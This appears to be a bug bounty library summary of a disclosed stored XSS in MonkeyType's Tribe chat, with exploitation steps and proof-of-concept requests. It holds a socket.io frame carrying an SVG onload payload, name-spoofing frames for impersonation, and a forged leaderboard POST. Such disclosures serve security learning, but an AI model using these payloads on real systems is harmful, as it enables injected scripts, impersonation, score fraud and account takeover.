# MonkeyType.com Stored Cross-Site Scripting

MonkeyType Tribe Chat stored XSS via socket.io message/name fields, executing in other users' browsers and enabling token theft and account takeover.

- Payout: $40
- Severity: high
- Program: MonkeyType.com
- Found by: Tyle Butler (@tbutler0x90)
- Disclosed: 2021-08-22
- Write-up quality: 6/10
- Original: https://web.archive.org/web/20210909040725/https://obsrva.org/2021/08/22/monkeytype-disclosure.html
- Library page: https://bugbountylibrary.com/r/blog%3Aweb-archive-org-web-20210909040725-https-obsrva-org-2021-08-22-monkeytype-disclosure-html
- Tags: area:web domain:web impact:ato kind:bounty platform:blog sev:high tech:websocket technique:source-review vuln:xss

**Target:** Socket.io chat endpoint on dev.monkeytype.com/tribe
**Root cause:** Client-side validation only; the socket.io mp_chat_message handler accepted raw message and name fields without server-side sanitization, so injected HTML/JS was stored and rendered to other room members.
**Steps:**
1. Configure BurpSuite to intercept browser traffic
2. Navigate to `https://dev.monkeytype.com/tribe` and click "create room"
3. Turn on proxy interception and enter a new chat string
4. Intercept the websocket frame and replace the message with `42["mp_chat_message",{"isSystem":false,"isLeader":true,"message":"Hey <svg/onload=alert('foo');>","from":{"id":"UocD_4qRZiXGbXf8AA-n","name":"alice"}}]`
5. Stop intercepting and browse the chat room; payload executes on load
**How found:** Researcher noticed client-side validation existed but suspected the socket layer bypassed it, then intercepted the websocket traffic to test direct payload injection.
**Exploitation:** Attacker joins or creates a room, sends a benign message, intercepts the socket.io frame, injects an SVG onload payload into message or name, and forwards it. The stored payload executes in every member's browser in that room; the room invite link can be shared to widen victim pool, and stolen auth tokens yield account takeover.
**Escalation:** Room invite links shared to attract more victims; token theft escalates XSS to full account takeover.
**Insight:** When a chat feature validates input client-side, replay the socket.io frame directly through a proxy — the server-side handler often trusts the raw event payload, and both message and sender-name fields are render sinks.

## Proof of concept (copied exactly from the original report)

**Stored XSS payload in tribe chat socket message**

```
42["mp_chat_message",{"isSystem":false,"isLeader":true,"message":"Hey <svg/onload=alert('foo');>","from":{"id":"UocD_4qRZiXGbXf8AA-n","name":"alice"}}]
```

**Impersonation by modifying name parameter in socket message**

```
42["mp_chat_message",{"isSystem":false,"isLeader":true,"message":"Hey this is still alice","from":{"id":"UocD_4qRZiXGbXf8AA-n","name":"alice"}}]

- Modify the name parameter, and re-send

42["mp_chat_message",{"isSystem":false,"isLeader":true,"message":"Hey this is still alice","from":{"id":"UocD_4qRZiXGbXf8AA-n","name":"bob"}}]
```

**Crafted POST to /checkLeaderboards injecting fake leaderboard entry**

```
POST /checkLeaderboards HTTP/2
Host: us-central1-monkey-type.cloudfunctions.net
Content-Length: 750
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Authorization: Bearer [redacted]
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://monkeytype.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://monkeytype.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"data":{"uid":"aXi5udatSndUhoQR5pUtR6GpvGF3","lbMemory":{"time15":{"global":null,"daily":null},"time60":{"global":null,"daily":null}},"name":"pwnville_foo","banned":null,"verified":null,"discordId":null,"result":{"wpm":200.00,"rawWpm":200.00,"correctChars":250,"incorrectChars":6,"allChars":250,"acc":92,"mode":"time","mode2":15,"quoteLength":-1,"punctuation":false,"numbers":false,"timestamp":1622147912060,"language":"english","restartCount":0,"incompleteTestSeconds":0,"difficulty":"normal","testDuration":15.001134999999515,"afkDuration":0,"blindMode":false,"theme":"9009","tags":[],"consistency":83.22,"keyConsistency":45.56,"funbox":"none","bailedOut":false,"customText":null,"uid":"aXi5udatSndUhoQR5pUtR6GpvGF3","id":"vZkPA1dmzeUvaGQPkE4Z"}}}
```

